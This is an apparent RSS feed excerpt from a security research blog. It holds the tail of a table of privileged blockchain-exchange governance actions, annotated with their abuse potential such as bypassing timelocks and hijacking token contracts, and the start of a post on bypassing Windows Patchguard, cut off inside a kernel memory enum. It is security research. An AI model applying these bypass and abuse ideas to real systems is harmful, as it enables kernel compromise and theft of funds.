&lt;td&gt;&lt;code&gt;RefundCSignerRequestWeights&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Refund signer request weights&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2E&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TestnetSpotDeploy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;[TESTNET] Spot deployment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2F&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TestnetHip3Deploy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;[TESTNET] HIP-3 deployment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x30&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetNativeToken&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set native token (one-time, &amp;ldquo;HYPE&amp;rdquo;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x31&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetSelfDelegationRequirement&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Self-delegation minimum (0 allows Sybil)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x32&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetAllowAllValidators&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Permissionless validator mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x33&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DisableCValidator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disable specific validator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x34&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DisableNodeIp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ban node by IP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="staking--rewards-0x350x37"&gt;Staking &amp;amp; Rewards (0x35–0x37)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x35&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetStakesDecaySeconds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stake decay duration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x36&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetDistributeRewardBucketSeconds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reward distribution timing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x37&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetMaxOiPerSecond&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Max OI change rate per market&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="evm-control-0x380x3c"&gt;EVM Control (0x38–0x3C)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x38&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetEvmEnabled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;EVM kill switch&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x39&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetPartialLiquidationCooldown&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Partial liquidation cooldown&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x3A&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetEvmBlockDuration&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;EVM block duration (timing attacks)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x3B&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetEvmPrecompileEnabled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Toggle precompiles (disable ecrecover breaks all sigs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x3C&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetEvmL1TransfersEnabled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Trap funds in EVM&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="action-delays--quote-tokens-0x3d0x42"&gt;Action Delays &amp;amp; Quote Tokens (0x3D–0x42)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x3D&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetMaxWithdrawLeverage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Max leverage for withdrawals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x3E&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetActionDelayerEnabled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Bypass timelocks&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x3F&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetActionDelayedActionsRefund&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Delayed action refund policy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x40&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AllowQuoteToken&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Toggle quote token (instant market shutdown)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x41&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ValidatorL1VoteEnabled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Toggle L1 validator voting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x42&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetCheckAllUsersCollateralizedCross&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cross-collateral check toggle&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="perpdex-parameters-0x430x4d"&gt;PerpDex Parameters (0x43–0x4D)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x43&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetPerpDexTransferBounds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Transfer bounds per DEX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x44&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetPerpDexOpenInterestFundingCap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OI funding cap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x45&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetPerpDexOpenInterestLimit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OI limit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x46&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetPerpDexDailyInterestLimit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Daily interest limit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x47&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetPerpDexMaxNotionalTransferredTotal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Max notional transfer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x48&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetPageStatus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Page status flag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x49&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetLiquidBaseTokens&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Liquid base token set&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x4A&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetLiquidQuoteTokens&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Liquid quote token set&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x4B&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetCoreWriterActionEnabled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Core writer action toggle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x4C&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetPerpDexsLocked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Lock perp DEXs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x4D&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetHip3NoCross&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HIP-3 cross-margin restriction&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="usdc--dex-abstraction-0x4e0x4f"&gt;USDC &amp;amp; DEX Abstraction (0x4E–0x4F)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x4E&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetUsdcEvmContract&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;USDC contract control&lt;/strong&gt; (6 subcases: SetAddress, SetEnabled, MigrateBalances, DeployEvmContract, ClearContracts, SetFlag)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x4F&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetDexAbstractionEnabled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DEX abstraction toggle&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="bolelending-protocol-0x50"&gt;Bole/Lending Protocol (0x50)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x50&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetBole&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Lending protocol control&lt;/strong&gt; (7 subcases: EnableBole, SetPoolConfig, SetUtilizationRange, SetBorrowRange, SetAutoRepayEnabled, SetReserveAccumulator, TestnetAction)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="testnet-only-0x510x58"&gt;Testnet-Only (0x51–0x58)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x51&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TestnetFixUsdc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Arbitrary USDC balance rewrite&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x52&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TestnetDepositFor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Mint USDC to any address (max 920M per call)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x53&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TestnetSpotSendFor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Transfer tokens from any user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x54&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TestnetDisableFeeTrial&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disable fee trial&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x55&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TestnetChangeTokenDeployer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hijack token contracts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x56&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TestnetChangePerpDexDeployer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hijack perp DEX control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x57&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TestnetSetYesterdayUserVlm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Override historical volume&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x58&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TestnetAddMainnetUsers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Migrate mainnet users&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;</description></item><item><title>PgC: Garbage collecting Patchguard away</title><link>https://blog.can.ac/2024/06/28/pgc-garbage-collecting-patchguard/</link><pubDate>Fri, 28 Jun 2024 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2024/06/28/pgc-garbage-collecting-patchguard/</guid><description>&lt;p&gt;I have released another article about Patchguard almost 5 years ago, ByePg, which was about exception hooking in the kernel, but let&amp;rsquo;s be frank, it didn&amp;rsquo;t entirely get rid of Patchguard; in this article I will be discussing an entirely different approach to bypass Patchguard, PgC.&lt;/p&gt;
&lt;p&gt;Now there already is plenty of great research on Patchguard, Tetrane even released a 61-page whitepaper on all the intricacies of Patchguard. What makes PgC different is that it does not actually depend on how Patchguard works, but the very obvious principles of memory management. The advantage of this approach is that it is not defeating a specific version of Patchguard, but rather the entire concept of it. I&amp;rsquo;ll admit I have been sitting on this for a while, but I think it is now time to share it with the world, after almost 7 years, during which I only had to change a single line of code to update it (Hi &lt;code&gt;KiSwInterruptDispatch&lt;/code&gt; 👋).&lt;/p&gt;
&lt;h2 id="0x0-a-stark-contrast"&gt;&lt;span class="hx"&gt;0x0:&lt;/span&gt; A stark contrast&lt;/h2&gt;
&lt;p&gt;There is only one thing we need to know about Patchguard in order to come up with an idea to defeat it: it runs on non-image pages and it decrypts itself on the fly.&lt;/p&gt;
&lt;p&gt;Just by knowing this you should see where this is going when you recall that the Windows kernel, like any other modern operating system, absolutely &lt;strong&gt;hates&lt;/strong&gt; the idea of RWX memory in Ring 0! It is a security nightmare after all, and Microsoft will not sign your driver if you have RWX sections in it. A case of do as I say, not as I do, interesting!&lt;/p&gt;
&lt;h2 id="0x1-system-va-types"&gt;&lt;span class="hx"&gt;0x1:&lt;/span&gt; System VA types&lt;/h2&gt;
&lt;p&gt;Before we start engineering a solution to attack this very contrast, there is one more thing we should know about our beloved OS: how it likes to keep its memory arranged. Let&amp;rsquo;s play a little game. Go ahead and launch Process Hacker, or any other tool that shows you the image base of a kernel driver and pick a (non-session) driver and check its image base. Does it start with something close to &lt;code&gt;0xfffff803&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Admittedly, this was not the best party trick, but the point of it all is that the kernel manages each &amp;ldquo;type&amp;rdquo; of memory in different PXIs (PML4/PML5 indices). You can get an idea of how this all works from looking at the enum &lt;code&gt;_MI_SYSTEM_VA_TYPE&lt;/code&gt;, within the &lt;code&gt;MiVisibleState&lt;/code&gt; there is a neat little array called &lt;code&gt;SystemVaType&lt;/code&gt;, mapping the upper 256 PXIs to a specific type of memory. Meaning that when you allocate a page, it isn&amp;rsquo;t &lt;em&gt;reaaaly&lt;/em&gt; random where it ends up even if it is somewhat randomized each boot.&lt;/p&gt;
&lt;p&gt;To give you an idea of each region of memory, here&amp;rsquo;s a snippet of the enum:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;mi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// [enum _MI_SYSTEM_VA_TYPE]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;enum&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;system_va_type_t&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;int32_t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;unused&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;session_space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;process_space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;boot_loaded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;pfn_database&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;non_paged_pool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;paged_pool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;special_pool_paged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;system_cache&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;system_ptes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;hal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;formerly_session_global_space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 11
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;session_global_space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;driver_images&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;special_pool_non_paged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v1607
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;system_ptes_large&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;kernel_stacks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//maximum_type = 0xe, // Windows 10 v1607
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;secure_non_paged_pool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v2004, Windows 11, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//system_ptes_large = 0xf, // Windows 10 v1607
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;kernel_shadow_stacks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 11
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;maximum_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 10 v2004, Windows 10 v20H2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;kasan&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Windows 11
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//maximum_type = 0x12, // Windows 11
